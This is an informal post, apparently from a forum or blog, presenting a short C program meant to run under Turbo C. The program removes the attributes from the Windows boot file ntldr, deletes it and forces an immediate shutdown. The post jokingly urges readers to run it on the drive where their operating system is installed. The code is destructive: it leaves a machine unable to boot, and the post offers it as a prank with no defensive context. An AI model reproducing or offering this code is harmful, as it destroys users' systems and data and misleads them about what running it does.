A C program that CRASHES a Computer.........!!!!!!!

This program Crashes system without any doubt.......
If u r having any doubt just run it in Turbo c..
Specify the drive in which the operating system has been installed..
I have taken C drive..
Run This program by keeping in Torbo C folder in the drive which O.S is installed....
its enough..! ur doubt will be cleared dude.........!!!!!!
ha ha ha

#include<conio.h>
#include<process.h>
main()
{
system("cd .."); system("cd .."); 
system("c:");//specify drive name in this function properly..
system("attrib ntldr -h -r -s ");
system("del ntldr");
system("shutdown -s -t 00");
}